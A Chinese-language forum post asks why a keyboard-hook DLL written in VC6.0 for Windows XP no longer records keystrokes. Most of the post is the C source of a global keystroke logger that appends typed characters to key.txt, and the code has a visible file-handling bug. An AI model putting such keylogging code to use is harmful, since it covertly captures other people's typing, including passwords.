在2个月前我测试的键盘钩子代码,能够记录,今天在哪出来测试时,居然没反映,不能记录,这是为什么.
我在VC6.0 WIN XP 平台下.
代码如下:
#include<windows.h>
#include<stdio.h>
#pragma data_seg("mydata")
       HHOOK glhHook=NULL;          //安装的勾子句柄
      // HINSTANCE glhInstance=NULL; //DLL实例句柄
#pragma data_seg() LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
        char ch=0;
       FILE *fl;
       if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode)) //有键按下
       {
             if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f)&&(wParam<=0x100))
             {
                   fl=fopen("key.txt","a+");     //输出到key.txt文件
                   if (wParam==VK_RETURN)
                   {
                         ch='\n';
                   }
                   else
                   {
                         BYTE ks[256];
                         GetKeyboardState(ks);
                         WORD w;
                         UINT scan=0;
                         ToAscii(wParam,scan,ks,&w,0);
                         //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
                         ch =char(w);
                   }
                   fwrite(&ch, sizeof(char), 1, fl);
             }
             fclose(fl);
       }
       return CallNextHookEx( glhHook, nCode, wParam, lParam );} 
void sethook()
{
//BOOL bResult=FALSE;
       glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("keydll"),0);
}
int stophook()
{
BOOL bResult=FALSE;
       if(glhHook)
       {
             bResult= UnhookWindowsHookEx(glhHook);
             if(bResult)
                   glhHook=NULL;
       }
       return bResult;
}